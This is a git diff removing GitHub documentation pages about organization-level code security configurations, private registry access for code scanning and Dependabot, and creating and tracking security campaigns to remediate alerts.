%}, you can also choose to use custom-labeled runners at this step.{% endif %} See [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning#about-default-setup). -1. In the "{% data variables.product.prodname_secret_scanning_caps %}" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for the following security features: - * {% data variables.product.prodname_secret_scanning_caps %}. To learn about {% data variables.product.prodname_secret_scanning %}, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning).{% ifversion secret-scanning-validity-check-partner-patterns %} - * Validity check. To learn more about validity checks for partner patterns, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts#checking-a-secrets-validity).{% endif %}{% ifversion org-npp-enablement-security-configurations %} - * Non-provider patterns. To learn more about scanning for non-provider patterns, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#non-provider-patterns) and [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts).{% endif %} - * Push protection. To learn about push protection, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection). -{% ifversion push-protection-delegated-bypass-configurations %} -1. Optionally, under "Push protection", choose whether you want to assign bypass privileges to selected actors in your organization. By assigning bypass privileges, selected organization members can bypass push protection, and there is a review and approval process for all other contributors. For further guidance on how to configure this setting, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/enabling-delegated-bypass-for-push-protection#configuring-delegated-bypass-for-an-organization). -{% endif %} -1. In the "Private vulnerability reporting" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for private vulnerability reporting. To learn about private vulnerability reporting, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository). -1. Optionally, in the "Policy" section, you can choose to automatically apply the {% data variables.product.prodname_security_configuration %} to newly created repositories depending on their visibility. Select the **None** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **Public**, or **Private and internal**, or both. - - {% data reusables.security-configurations.default-configuration-exception-repo-transfers %} -1. Optionally, in the "Policy" section, you can enforce the configuration and block repository owners from changing features that are enabled or disabled by the configuration (features that are not set aren't enforced). Next to "Enforce configuration", select **Enforce** from the dropdown menu. - - {% data reusables.code-scanning.custom-security-configuration-enforcement-edge-cases %} - -1. To finish creating your {% data variables.product.prodname_custom_security_configuration %}, click **Save configuration**. - -{% elsif security-configurations-ghes-only %} - ->[!NOTE] -> The enablement status of some security features is dependent on other, higher-level security features. For example, disabling {% data variables.secret-scanning.alerts %} will also disable non-provider patterns and push protection. - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. In the "Code security configurations" section, click **New configuration**. -1. To help identify your {% data variables.product.prodname_custom_security_configuration %} and clarify its purpose on the "Code {% data variables.product.prodname_security_configurations %}" page, name your configuration and create a description. -1. In the "{% data variables.product.prodname_GH_advanced_security %} features" row, choose whether to include or exclude {% data variables.product.prodname_GH_advanced_security %} (GHAS) features. If you plan to apply a {% data variables.product.prodname_custom_security_configuration %} with GHAS features to private repositories, you must have available GHAS licenses for each active unique committer to those repositories, or the features will not be enabled. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). -1. In the "Dependency graph and Dependabot" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for the following security features: - * {% data variables.product.prodname_dependabot_alerts %}. To learn about {% data variables.product.prodname_dependabot %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - * Security updates. To learn about security updates, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - > [!NOTE] - > You cannot manually change the enablement setting for the dependency graph. This setting is installed and managed by a site administrator at the instance level. -1. In the "{% data variables.product.prodname_code_scanning_caps %}" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for {% data variables.product.prodname_code_scanning %} default setup. To learn about default setup, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning#about-default-setup). -1. In the "{% data variables.product.prodname_secret_scanning_caps %}" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for the following security features: - * Alerts. To learn about {% data variables.secret-scanning.alerts %}, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning).{% ifversion org-npp-enablement-security-configurations %} - * Non-provider patterns. To learn more about scanning for non-provider patterns, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#non-provider-patterns) and [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts).{% endif %} - * Push protection. To learn about push protection, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection). -{% ifversion push-protection-delegated-bypass-configurations %} -1. Optionally, under "Push protection", choose whether you want to assign bypass privileges to selected actors in your organization. By assigning bypass privileges, selected organization members can bypass push protection, and there is a review and approval process for all other contributors. For further guidance on how to configure this setting, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/enabling-delegated-bypass-for-push-protection#configuring-delegated-bypass-for-an-organization). -{% endif %} -1. Optionally, in the "Policy" section, you can choose to automatically apply the {% data variables.product.prodname_security_configuration %} to newly created repositories depending on their visibility. Select the **None** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **Public**, or **Private and internal**, or **All repositories**. - - {% data reusables.security-configurations.default-configuration-exception-repo-transfers %} -1. Optionally, in the "Policy" section, you can enforce the configuration and block repository owners from changing features that are enabled or disabled by the configuration (features that are not set aren't enforced). Next to "Enforce configuration", select **Enforce** from the dropdown menu. - - {% data reusables.code-scanning.custom-security-configuration-enforcement-edge-cases %} - -1. To finish creating your {% data variables.product.prodname_custom_security_configuration %}, click **Save configuration**. - -{% endif %} - -## Next steps - -To apply your {% data variables.product.prodname_custom_security_configuration %} to repositories in your organization, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration). - -{% data reusables.security-configurations.edit-configuration-next-step %} diff --git a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/giving-org-access-private-registries.md b/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/giving-org-access-private-registries.md deleted file mode 100644 index e3cf826bcdd2..000000000000 --- a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/giving-org-access-private-registries.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Giving security features access to private registries -shortTitle: Give access to private registries -intro: 'If your organization uses private registries, you can improve the results of {% data variables.product.prodname_code_scanning %} analysis and enable {% data variables.product.prodname_dependabot %} to maintain more dependencies by setting up access to these registries.' -allowTitleToDifferFromFilename: true -versions: - feature: org-private-registry -topics: - - Code Security - - Organizations - - Security ---- - -## About the importance of providing access to private registries - -When a repository uses code stored in a private registry, some security features need access to the registry to enable them to work effectively. Without access to all the dependencies of a repository, {% data variables.product.prodname_code_scanning %} default setup and {% data variables.product.prodname_dependabot %} are limited. - -## {% data variables.product.prodname_code_scanning_caps %} default setup access to private registries - -{% data reusables.code-scanning.preview-org-private-registry %} - -{% data variables.product.prodname_code_scanning_caps %} default setup analyzes {% data variables.code-scanning.no_build_support %} code without building it. If you do not define access to the private registries your organization uses, then {% data variables.product.prodname_code_scanning %} will only gather necessary data from dependencies available in public registries. Most times, this is enough for surfacing most of the vulnerabilities. However, in some cases the lack of access can lead to false negative results, that is, {% data variables.product.prodname_code_scanning %} is unable to detect a vulnerability in the code because it does not have all the information it needs to analyze the code. For example, some of the data flow paths may not be detected because steps are defined in dependencies that are not accessible and {% data variables.product.prodname_code_scanning %} does not know how to interpret them. - -When you configure access to the private registries used in your organization, {% data variables.product.prodname_code_scanning %} has access to all the information it needs and is much less likely to miss a vulnerability. - -> [!TIP] -> You can define one private Maven registry and one private NuGet feed for each organization. If the codebases in your organization use more than one registry or feed, you should define access to the most important registry for the codebases in that organization. - -### Defining registry access for {% data variables.product.prodname_code_scanning %} default setup - -You need to be an **organization owner** to set up access to private registries in the user interface. You can also use the REST API with organization owner or `{read,write}_org_private_registries` permission. - -1. On the **Settings** tab for the organization, scroll down to the "Security" section and select **Secrets and variables**. -1. In the expanded list of secrets and variables, select **Private registries** to display the "Private Registries" page. -1. Select **New private registry** to add access details for a private registry. -1. Use the **URL** and **Type** fields to define the location and type of the registry: - * **URL** is the location where you access the private registry. For example, to use the {% data variables.product.prodname_registry %} registry for NuGet: `https://nuget.pkg.github.com/`. - * **Type** is the type of registry. -1. Select either **Token** or **Username and password**, depending on the authentication method, then enter data into the appropriate fields. -1. Define which repositories in the organization can access the private registry using these details: all, private and internal, or selected repositories only. -1. When you have finished defining the private registry, select **Add Registry** to save the registry information. - -> [!TIP] -> When you add a private registry to an organization the token or password is stored as an encrypted secret. Once the registry is created, the token or password cannot be viewed again. - -### Enabling {% data variables.product.prodname_code_scanning %} default setup to use a registry definition - -When you enable {% data variables.product.prodname_code_scanning %} default setup for a repository or group of repositories, {% data variables.product.github %} checks whether the repositories have access to any existing private registries. If any private registries are available to a repository, {% data variables.product.prodname_code_scanning %} will use the relevant definitions during analysis. - -When configuring private registries for the first time, you need to disable and re-enable {% data variables.product.prodname_code_scanning %} default setup for any repositories that you want to use the new definition. New or modified configurations will be automatically picked up on subsequent runs. - -You can confirm whether private registries were used successfully by {% data variables.product.prodname_code_scanning %} analysis by looking in the Actions log files, see [Determining whether code scanning default setup used any private registries](/code-security/code-scanning/managing-your-code-scanning-configuration/viewing-code-scanning-logs#determining-whether-code-scanning-default-setup-used-any-private-registries). - -## {% data variables.product.prodname_code_scanning_caps %} advanced setup access to private registries - -{% data variables.product.prodname_code_scanning_caps %} advanced setup uses any private registries available to the workflow that runs the analysis using the `codeql-action`. It does not have access to the organization-level private registries used by default setup. - -For compiled languages, the `codeql-action` must observe a build of the code. You can either revise your existing build workflow to also run the `codeql-action` or create a new workflow that builds the production version of the code and also runs the `codeql-action`. - -Any private registries used by the build must also be accessible to the workflow that runs the `codeql-action`. For more information on advanced setup, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning#configuring-advanced-setup-for-code-scanning-with-codeql). - -## {% data variables.product.prodname_dependabot %} updates access to private registries - -{% data variables.product.prodname_dependabot %} uses any private registries defined in the `dependabot.yml` file. It does not have access to the organization-level private registries used by {% data variables.product.prodname_code_scanning %} default setup. - -{% data variables.product.prodname_dependabot %} cannot check for security or version updates for code stored in a private registry unless it can access the registry. If you do not configure access to the private registry, then {% data variables.product.prodname_dependabot %} cannot raise pull requests to update any of the dependencies stored in the registry. - -When you configure access to one or more private registries, {% data variables.product.prodname_dependabot %} can propose pull requests to upgrade a vulnerable dependency or to maintain a dependency, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot) and [AUTOTITLE](/code-security/dependabot/working-with-dependabot/guidance-for-the-configuration-of-private-registries-for-dependabot). diff --git a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/index.md b/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/index.md deleted file mode 100644 index f896dc82111c..000000000000 --- a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Enabling security features in your organization -shortTitle: Enable security features -intro: '{% ifversion security-configurations-cloud %}Enable the {% data variables.product.prodname_github_security_configuration %} or c{% elsif security-configurations-ghes-only %}C{% endif %}reate and apply {% data variables.product.prodname_custom_security_configurations %} to quickly secure your organization.' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security -children: - - /applying-the-github-recommended-security-configuration-in-your-organization - - /creating-a-custom-security-configuration - - /applying-a-custom-security-configuration - - /configuring-global-security-settings-for-your-organization - - /giving-org-access-private-registries -redirect_from: - - /code-security/securing-your-organization/meeting-your-specific-security-needs-with-custom-security-configurations ---- diff --git a/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/about-security-campaigns.md b/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/about-security-campaigns.md deleted file mode 100644 index 239b6ee6e7b1..000000000000 --- a/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/about-security-campaigns.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 'About security campaigns' -shortTitle: 'About security campaigns' -intro: 'You can fix security alerts at scale by creating security campaigns and collaborating with developers to burn down your security backlog.' -product: '{% data reusables.gated-features.security-campaigns %}' -allowTitleToDifferFromFilename: true -type: overview -versions: - feature: security-campaigns -topics: - - Code Security - - Organizations - - Security ---- - -Once you have identified security alerts in the default branches of your repositories, the next step is to identify the most urgent alerts and get them fixed. Security campaigns are a way to group alerts and share them with developers, so you can collaborate to remediate vulnerabilities in the code. - -{% data reusables.security-campaigns.preview-note %} - -## Security campaigns in your day-to-day work - -You can use security campaigns to support many of your aims as a security leader. - -* Improving the security posture of the company by leading work to remediate alerts. -* Reinforcing security training for developers by creating a campaign of related alerts to fix collaboratively. -* Building collaborative relationships between the security team and developers to promote shared ownership of security alerts. -* Providing clarity to developers on the most urgent alerts to fix and monitoring alert remediation. - -## Benefits of using security campaigns - -A security campaign has many benefits over other ways of encouraging developers to remediate security alerts. In particular, - -* Developers are notified about any security campaigns taking place in repositories they work in or subscribe to (by email during the {% data variables.release-phases.public_preview %}). -* Developers can see the alerts you've highlighted for remediation without leaving their normal workflows. -* Each campaign has a named point of contact for questions, reviews, and collaboration. {% ifversion security-campaigns-autofix %} -* {% data variables.product.prodname_copilot_autofix %} is automatically triggered to suggest a resolution for each security alert. {% endif %} - -In addition, you can use one of the templates to select a group of closely related alerts for a campaign. This allows developers to build on the knowledge gained by resolving one alert and use it to fix several more, providing them with an incentive to fix multiple alerts. - -## Next steps - -* [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale) -* [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/creating-tracking-security-campaigns) diff --git a/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale.md b/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale.md deleted file mode 100644 index 08af08154e39..000000000000 --- a/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Best practices for fixing security alerts at scale -shortTitle: Best practices -intro: 'Guidance on how to create successful security campaigns that engage developers and help them grow their understanding of secure coding.' -allowTitleToDifferFromFilename: true -product: '{% data reusables.gated-features.security-campaigns %}' -type: reference -versions: - feature: security-campaigns -topics: - - Code Security - - Organizations - - Security ---- -{% data reusables.security-campaigns.preview-note %} - -## Elements of a successful security campaign - -Successful security campaigns to fix alerts at scale have many features in common, including: - -* Selecting a related group of security alerts for remediation. -* Using {% data variables.product.prodname_copilot_autofix_short %} suggestions where possible to help developers remediate alerts faster and more effectively. -* Making sure that the campaign managers are available for collaboration, reviews, and questions about fixes. -* Providing access to educational information about the type of alerts included in the campaign.{% ifversion ghec %} -* Making {% data variables.product.prodname_copilot_chat %} available for developers to use to learn about the vulnerabilities highlighted by the security alerts in the campaign. {% endif %} -* Defining a realistic deadline for campaign, bearing in mind the number of alerts you aim to fix. -* Publicizing the collaboration to developer teams and identifying the best way to engage them for your organization. - -For information about the developer experience, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/fixing-alerts-in-security-campaign). - -## Selecting security alerts for remediation - -Your first thought may be to identify all the most urgent alerts and create a security campaign to fix them. If your developers already have a good understanding of secure coding and are keen to remediate potential vulnerabilities, this could be a successful approach for your company. However, if you need to build up knowledge of secure coding and common vulnerabilities, you will benefit from a more stategic approach. - -For example, if you have many alerts for cross-site scripting vulnerabilities, you could: - -* Create educational content for developers in a repository using resources from the OWASP Foundation, see [Cross Site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/). -* Create a campaign to remediate all alerts for this vulnerability, including a link to the educational content in the campaign description. -* Hold a training session or other event to highlight this opportunity to gain confidence in secure coding while fixing real bugs. -* Make sure that the security team members assigned to manage the campaign are available to review the pull requests created to fix the campaign alerts, collaborating as needed. - -### Using {% data variables.product.prodname_copilot_autofix_short %} to help remediate security alerts - -{% data variables.product.prodname_copilot_autofix %} is an expansion of {% data variables.product.prodname_code_scanning %} that provides users with targeted recommendations to help fix {% data variables.product.prodname_code_scanning %} alerts. When you select alerts to include in a security campaign, you can preferentially include alerts that are eligible to be fixed with the help of {% data variables.product.prodname_copilot_autofix %} using the `autofix:supported` filter. - -### Campaign filter templates - -When you select alerts to include in a security campaign, you can use any of the filters on the security alerts page to define a subset of alerts. Alternatively, you can choose a campaign template to use one of the pre-defined filters for common needs, for example: "Cross-site scripting (CWE-79)." - -### Limitations on security campaigns - -The following limitations are intended to encourage you to take a balanced and measured approach to remediating alerts in your code. An iterative approach, addressing a few targeted sets of alerts at a time, is likely to lead to a sustainable and long-term change in security posture. - -* A maximum of 10 active security campaigns at a time (no limits on closed campaigns). -* Each campaign can contain up to 1000 alerts. - -If you choose to create a campaign that exceeds these limits, alerts will be omitted to bring the campaign into line with the limits. Alerts in repositories with recent pushes are prioritized for inclusion in the campaign. - -## Specifying campaign managers and contact links - -When you create a security campaign, you must select one or more "Campaign managers." A campaign manager must be either: -* A user with the organization owner role, or the security manager role. -* A member of a team with either the organization owner role, or the security manager role. - -The names of the campaign managers are visible to developers when they take part in the campaign. To support communication between developers and the campaigns managers, you can also provide a contact link, such as a link to a {% data variables.product.prodname_discussions %} or another communication channel, when you create a campaign. - -If you want to increase the remediation rate for alerts and scale the knowledge of the security team, this is a key opportunity to build collaborative relationships with developers. Ideally, the campaign managers are available to answer questions and collaborate on difficult fixes via the contact link. Campaign managers should also be available to review pull requests for fixes over the whole course of the campaign. - -## Combining security training with a security campaign - -If your security team already provides training for developers on secure coding, creating a campaign with alerts chosen to allow developers to use the skills from the training session is a great way to reinforce their learning. Even if you don't have a formal training program, it makes sense to provide information on the types of security vulnerabilities included in the campaign, examples of how to fix them, and how to test the fixes. This will simplify the role of the campaign manager as they will be able to direct developers to these resources for answers to basic questions. - -The OWASP Foundation provides many resources for learning about the most common vulnerabilities and MITRE Corporation maintain a detailed list of common weaknesses, see [About the OWASP Foundation](https://owasp.org/about/) and [About CWE](https://cwe.mitre.org/about/index.html). - -{% ifversion security-campaigns-autofix %} - -## Providing AI support for learning about security vulnerabilities - -{% data variables.product.prodname_copilot_autofix %} is automatically triggered to suggest a resolution for each security alert. However, developers will often want more information about why the original code is insecure and how to test that the fix is correct and doesn't break other components. - -{% data variables.product.prodname_copilot %} is an important tool for developers who have questions about secure coding, how to fix security alerts, and test their fix. Check that all developers in your organization have access to {% data variables.product.prodname_copilot_short %} in both their IDE and {% data variables.product.github %}, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization). - -> [!TIP] The {% data variables.product.prodname_GH_advanced_security %} skill provides {% data variables.product.prodname_copilot_chat_short %} with additional context to answer questions about security alerts. - -{% endif %} - -## Considerations in starting a security campaign and defining a deadline - -As with any other project, it's important to define realistic timescales to avoid discouraging developers from participating in the security campaign. Unless your company is fixing security alerts as part of a larger campaign to reduce technical debt, most developers will not have time allocated to fixing alerts. You need to estimate remediation rates based on the time developers can find between scheduled tasks. It's also always worth checking on key company deadlines that developers may be working towards and checking national holidays. - -## Next steps - -* [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/creating-tracking-security-campaigns) diff --git a/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/creating-tracking-security-campaigns.md b/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/creating-tracking-security-campaigns.md deleted file mode 100644 index 4d89d878f0cc..000000000000 --- a/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/creating-tracking-security-campaigns.md +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Creating and tracking security campaigns -shortTitle: Create security campaigns -intro: 'You can manage security campaigns directly from the security overview for your organization.' -allowTitleToDifferFromFilename: true -permissions: '{% data reusables.permissions.security-org-enable %}' -product: '{% data reusables.gated-features.security-campaigns %}' -type: how_to -versions: - feature: security-campaigns -topics: - - Code Security - - Organizations - - Security ---- - -{% data reusables.security-campaigns.preview-note %} - -## Creating a security campaign - -Security campaigns are created and managed from the **Security** tab for your organization. You choose the alerts to include in a campaign by selecting a campaign template from the sidebar of the "Overview" dashboard or by filtering the alerts displayed on the {% data variables.product.prodname_code_scanning %} alerts view for your organization. - -For more information about filtering alerts, see [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale#selecting-security-alerts-for-remediation) and [AUTOTITLE](/code-security/security-overview/filtering-alerts-in-security-overview). - -### Creating a campaign from a template - -The campaign templates contain filters for the most common alert selections. {% ifversion security-campaigns-autofix %}They also all include the requirement that {% data variables.product.prodname_copilot_autofix %} is supported for all the alert types included (that is, `autofix:supported`).{% endif %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. In the left sidebar, next to "Campaigns", click the {% octicon "plus" aria-label="New campaign" %} icon to start creating a campaign. -1. Select one of the pre-defined filter templates to open a "New campaign from TEMPLATE_NAME template" dialog box. -1. If the message "This looks like a big campaign" is displayed, click **Back to filters** to display the {% data variables.product.prodname_code_scanning %} alerts view with the campaign template filter shown. - 1. Add further filters to reduce the number of alerts shown, for example, filtering by "Team" or by custom property. - 1. When there are 1000 alerts or fewer, click **Create campaign** to redisplay the "New campaign" dialog. - - Alternatively, you can click **Continue creating a campaign** and create the campaign. {% data reusables.security-campaigns.too-many-alerts %} - -{% data reusables.security-campaigns.campaign-configuration %} - -The security campaign is created and the campaign overview page is displayed. - -### Creating a campaign using custom filters - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. In the left sidebar, under "Alerts" click **{% octicon "codescan" aria-hidden="true" %} {% data variables.product.prodname_code_scanning_caps %}** to show the alerts view. -1. Add filters to select a subset of alerts for your campaign. When you have chosen 1000 alerts or fewer, you are ready to create a campaign. -1. Above the table of alerts, click **Create campaign** to start creating a campaign. -1. If the message "This looks like a big campaign" is displayed, click **Back to filters** to display the {% data variables.product.prodname_code_scanning %} alerts view with your existing filters. - 1. Add further filters to reduce the number of alerts shown, for example, filtering by "Team" or by custom property. - 1. When there are fewer than 1000 alerts, click **Create campaign** to redisplay the "New campaign" dialog. - - Alternatively, you can click **Continue creating a campaign** and create the campaign. {% data reusables.security-campaigns.too-many-alerts %} - -{% data reusables.security-campaigns.campaign-configuration %} - -### Examples of useful filters - -All the template filters include the following useful filters: - -* `is:open` includes only alerts that are open in the default branch. -* `autofilter:true` includes only alerts that appear to be in application code. {% ifversion security-campaigns-autofix %} -* `autofix:supported` includes only alerts that are for rules that are supported for {% data variables.product.prodname_copilot_autofix %}.{% endif %} - -Once you include these core filters, you will usually want to add a filter to limit results to a specific rule name, severity, or tag. For example: - -* `is:open autofilter:true {% ifversion security-campaigns-autofix %}autofix:supported {% endif %}rule:java/log-injection` to show only alerts for log injection in Java code. -* `is:open autofilter:true {% ifversion security-campaigns-autofix %}autofix:supported {% endif %}tag:external/cwe/cwe-117` to show only alerts for "CWE 117: Improper Output Neutralization for Logs". This includes log injection in Java and other languages. -* `is:open autofilter:true {% ifversion security-campaigns-autofix %}autofix:supported {% endif %}severity:critical` to show only alerts with a security severity of critical - -> [!TIP] When you enter a keyword followed by colon in the search field, a list of all valid values is displayed, for example: `tag:`. - -For more information about the rules run by {% data variables.product.prodname_codeql %}{% ifversion security-campaigns-autofix %} and support for autofix{% endif %}, see [Query lists for the default query suites](/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites#query-lists-for-the-default-query-suites). - -## Launching a security campaign - -{% ifversion security-campaigns-autofix %} - -When you create a campaign all the alerts are automatically submitted to {% data variables.product.prodname_copilot_autofix %} to be processed as capacity allows. This ensures that suggestions for alerts found in pull requests aren't delayed by a new campaign. In most cases, you should find that all suggestions that can be created are ready within an hour. At busy times of day, or for particularly complex alerts, it will take longer. - -{% endif %} - -### How developers know a security campaign has started - -When a campaign is started, anyone with **write** access to a repository included in the campaign, and who and has subscribed to watch either "All activity" or "security alerts" in that repository, is notified. - -> [!NOTE] During the {% data variables.release-phases.public_preview %}, notifications are only sent to users who have email notification enabled. - -In addition to the automatic notifications sent out, the new campaign is shown in the sidebar of the "Security" tab for each repository included. For more information about the developer experience, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/fixing-alerts-in-security-campaign). - -### How to increase engagement with the security campaign - -The best way to increase engagement with a campaign is to publicize it to the teams you want to collaborate with to remediate alerts. For example, you might work with engineering managers to choose a quieter development period to run a series of security campaigns, each focused on a different type of alert, with associated training sessions. For more ideas, see [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale). - -## Tracking security campaigns - -When you create a campaign, the campaign tracking view is displayed and the campaign is listed in the sidebar of the **Security** tab for the organization. You can redisplay the campaign tracking view at any time by selecting it in the sidebar under "Campaigns". - -![Screenshot of campaign tracking view for "Testing Campaigns for CodeQL". The campaign progress is outlined in dark orange.](/assets/images/help/security/driver-sec-campaign-view.png) - -### Security campaign alert statuses - -The summary at the top of the campaign view reports the number of alerts closed, open, and in progress. - -* **In progress** when at least one branch or pull request is created to fix the alert through the campaign view or the alert page. -* **Closed** when the alert is fixed or dismissed, even if the development work was done outside the campaign framework. - -### Security campaign views - -You can explore the campaign repositories and alerts to see where teams are engaging in the campaign, and where teams might need some extra encouragement to take part. - -* **Repository details:** you can expand any repository to show the progress in alert remediation. -* **Alert details:** you can set the "Group by" option to **None** to show a list of all alerts. - -You can filter both of these views to focus on a subset of repositories or alerts. Any alerts that are in progress are listed first. - -## Editing security campaign details - -You can edit the name, description, due date, and manager for a campaign. This is particularly useful if the current campaign manager is on leave and you need to define a new contact for developers. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. In the sidebar, under "Campaigns" click the name of the campaign to display the campaign tracking view. -1. In the campaign title row, click {% octicon "kebab-horizontal" aria-label="Campaign options" %} and select **Edit campaign**. -1. In the "Edit campaign" dialog make your changes and then click **Save changes**. - -The changes are made immediately. - -## Closing or deleting security campaigns - -There is a limit of 10 active campaigns. When a campaign is complete, or if you want to pause it, you should close it. When you close a campaign, it's no longer displayed for developers in the repository **Security** tab but you can still display the campaign tracking view to develop best practice. In addition, you can reopen a closed campaign from the "Closed campaigns" view, which is accessible from the sidebar in the **Security** tab of the organization. - -If you open a campaign for testing, you may prefer to delete the campaign. This deletes the campaign and all associated data entirely. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. In the sidebar, under "Campaigns" click the name of the campaign to display the campaign tracking view. -1. In the campaign title row, click {% octicon "kebab-horizontal" aria-label="Campaign options" %} and select your required option: - * **Close campaign** to remove it from the active campaigns list and display it on the Closed campaigns view. - * **Delete campaign** to delete the campaign permanently. In the "Delete campaign" dialog, click **Delete** to confirm that you want to delete the campaign. diff --git a/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/index.md b/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/index.md deleted file mode 100644 index fdaa38fbfed4..000000000000 --- a/content/code-security/securing-your-organization/fixing-security-alerts-at-scale/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Fixing security alerts at scale -shortTitle: Fix alerts at scale -intro: 'Once you detect security alerts across your organization, you will want to create security campaigns to engage with developers and collaborate on fixing alerts.' -versions: - feature: security-campaigns -topics: - - Code Security - - Organizations - - Security -children: - - /about-security-campaigns - - /best-practice-fix-alerts-at-scale - - /creating-tracking-security-campaigns ---- - -{% data reusables.security-campaigns.preview-note %} diff --git a/content/code-security/securing-your-organization/index.md b/content/code-security/securing-your-organization/index.md deleted file mode 100644 index 25fbec895f28..000000000000 --- a/content/code-security/securing-your-organization/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Securing your organization -shortTitle: Secure your organization -intro: 'Secure your organization at scale with {% data variables.product.company_short %}''s security products{% ifversion security-configurations %} through {% data variables.product.prodname_security_configurations %} and {% data variables.product.prodname_global_settings %}{% endif %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Secret Protection - - Organizations - - Security -children: - - /introduction-to-securing-your-organization-at-scale - - /enabling-security-features-in-your-organization - - /managing-the-security-of-your-organization - - /fixing-security-alerts-at-scale - - /troubleshooting-security-configurations ---- diff --git a/content/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale.md b/content/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale.md deleted file mode 100644 index 4e5bd7361d41..000000000000 --- a/content/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: About enabling security features at scale -shortTitle: About organization security -intro: 'You can quickly secure your organization at scale with {% data variables.product.prodname_security_configurations %} and {% data variables.product.prodname_global_settings %}.' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## About securing your organization - -{% data variables.product.company_short %} offers many security features including {% data variables.product.prodname_GH_advanced_security %}, a suite of features designed to protect your organization from vulnerabilities in your code, insecure dependencies, leaked secrets, and more. For more information on {% data variables.product.prodname_GH_advanced_security %}, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). - -You can easily enable and manage {% data variables.product.company_short %}'s 